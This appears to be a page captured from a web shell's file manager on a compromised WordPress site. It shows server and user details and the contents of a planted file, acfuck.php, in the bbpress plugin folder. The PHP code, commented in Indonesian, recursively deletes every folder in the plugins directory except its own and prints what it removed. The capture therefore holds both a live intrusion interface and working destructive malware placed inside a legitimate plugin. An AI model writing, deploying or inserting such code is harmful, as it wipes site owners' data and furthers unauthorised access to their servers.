WS_OK_7.4.33 HEX
HEX
Server: nginx/1.21.4
System: Linux v12674 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: endtheignorance (1014)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v12674/lcakingwood/public_html/wp-content/plugins/bbpress/acfuck.php
<?php /* PSs9ZHTz3iUAmvJ */ ?>
<?php
// Direktori tempat file ini berada
$currentDir = basename(__DIR__);

// Direktori induk (../)
$parentDir = dirname(__DIR__);

// Scan isi direktori induk
$items = scandir($parentDir);

foreach ($items as $item) {
    if ($item === '.' || $item === '..') {
        continue;
    }

    $path = $parentDir . DIRECTORY_SEPARATOR . $item;

    // Hapus hanya folder, kecuali folder saat ini
    if (is_dir($path) && $item !== $currentDir) {
        if (deleteDirectory($path)) {
            echo "Deleted folder: $path\n";
        } else {
            echo "Failed to delete: $path\n";
        }
    }
}

// Fungsi rekursif hapus folder dan isinya
function deleteDirectory($dir) {
    if (!file_exists($dir)) return false;
    if (!is_dir($dir)) return unlink($dir);

    foreach (scandir($dir) as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        if (is_dir($path)) {
            deleteDirectory($path);
        } else {
            unlink($path);
        }
    }
    return rmdir($dir);
}
?>